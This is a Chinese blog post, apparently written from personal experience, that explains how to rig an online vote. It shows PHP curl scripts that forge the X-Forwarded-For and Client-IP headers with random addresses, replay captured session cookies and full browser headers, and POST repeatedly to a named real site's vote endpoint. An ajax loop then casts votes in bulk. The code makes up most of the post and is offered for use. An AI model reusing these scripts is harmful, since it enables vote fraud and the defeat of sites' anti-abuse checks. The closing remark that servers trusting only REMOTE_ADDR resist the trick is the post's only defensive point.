起因:
同事的朋友的朋友的妹妹要参加什么投票活动,想让我帮忙刷刷票。抱着研究一下的态度就答应了。跟大家分享下刷票的思路。
思考:
首先,一般网站在做投票处理的时候,都是根据IP来判断的。如果能伪造IP的话,就应该可以实现刷票的功能。
先看一下PHP开源项目discuz获取IP的函数:
//获取客户端ip function get_ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $ip = getenv('REMOTE_ADDR'); } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $ip = $_SERVER['REMOTE_ADDR']; } return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : ''; }
代码中首先获取的是HTTP_CLIENT_IP这个变量,而这个变量确实是可以伪造的,这就需要用到php的curl扩展。
百度一下curl的用法,最简单使用curl伪造ip代码如下:
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://localhost/2.php"); $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d";//动态生成IP地址 curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com "); //构造来路 curl_setopt($ch, CURLOPT_HEADER, 1); $out = curl_exec($ch); curl_close($ch);
这样,通过curl我们就可以伪造ip了,似乎刷票的理论基础我们已经明白了,那么现在开始用这套代码来实现刷票。
第一次尝试:
首先先正常投一次票,如图:
我们根据火狐的firebug可以看到,投票的操作用到了ajax的post提交,参数分别有tid和type。那么我们之前的那段代码是针对get方式提交的,看来我们需要修改一下代码,让curl支持post提交方式。修改的代码如下:
$url = "http://www.officeshow.cn/vote.php"; $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d"; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip)); //构造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.gosoa.com.cn/ "); //构造来路 curl_setopt($ch, CURLOPT_HEADER, 0); $out = curl_exec($ch); curl_close($ch);exit;
搞定上面的代码后,让我们来试试刷票吧!运行这个php文件,得出的结果却是失败!那么我们继续探索。
成功搞定:
有很多网站会有cookie和session来存放用户信息,不管用那种,本地的话都会放到cookie里。虽然这个投票并不需要登录,但是有很多网站都会打开就有cookie信息。查看一下这个站点的cookie,博主用的是火狐。
发现这个域下有两个cookie值,bdshare_firstime和PHPSESSID。火狐我们可以得到这两个cookie值,那么我们通过curl把这两个cookie值传过去,那么服务器就会认为这是正常的请求,而我们的刷票功能也就完成了。尝试下,代码如下:
$url = "http://www.officeshow.cn/vote.php"; $a = rand(1, 255); $b = rand(1, 255); $c = rand(1, 50); $d = rand(1, 255); $ip = "$a.$b.$c.$d"; $cookie = "bdshare_firstime=1367826762029; PHPSESSID=15i8mvcir3nlq9prtl63q6lbh4";//设置cookie值 $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'Cookie:'.$cookie)); //构造IP curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com "); //构造来路 curl_setopt($ch, CURLOPT_POSTFIELDS,'tid=2200&type=1'); curl_setopt($ch, CURLOPT_HEADER, 0); ob_start(); $out = curl_exec($ch); $result = ob_get_contents() ; ob_end_clean(); curl_close($ch); echo json_encode(getd('id'));exit;
运行代码,成功!
批量操作:
刷票的代码已经搞定,下面就是批量操作。批量操作其实一个for循环就可以,但是一个请求浏览器有最大时间的限制,这样很不方便。
我用到的是用ajax来循环请求,这样刷到多少票都可以了。
延伸:
在完成这次刷票功能,最关键的是把cookie也传过去了。其实在请求的时候,可以把浏览器正常请求的头信息都发送过去,因为你无法判断服务器那边到底设置了什么样的判断。通过firebug就可以看到头信息。然后用curl把所有的头信息都传过去。
curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie:stQE_45b4_saltkey=njAO8S3G; stQE_45b4_lastvisit=1367823144; stQE_45b4_visitedfid=62D66D79D63; pgv_pvi=9600479659; __utma=29738476.2090210183.1367826762.1367826762.1367826762.1; __utmz=29738476.1367826762.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); bdshare_firstime=1367826762029; stQE_45b4_sid=DG6gx1; stQE_45b4_lastact=1368695577%09forum.php%09viewthread; stQE_45b4_viewid=tid_2200; PHPSESSID=b681ua42r0gpst2gvth6irh9a7; pgv_info=ssi=s2710992270; stQE_45b4_sendmail=1; stQE_45b4_forum_lastvisit=D_63_1368695475D_2_1368695494", 'Host:'.'bbs.officeshow.cn', "Referer:http://bbs.officeshow.cn/forum.php?mod=viewthread&tid=2200", "X-Requested-With: XMLHttpRequest", 'X-FORWARDED-FOR:'.$ip, 'CLIENT-IP:'.$ip, 'X-Requested-With:XMLHttpRequest'));
后记:
如果服务器端判断IP使用的是$_SERVER['REMOTE_ADDR']的话,那么我们这种刷票办法就没有效果了。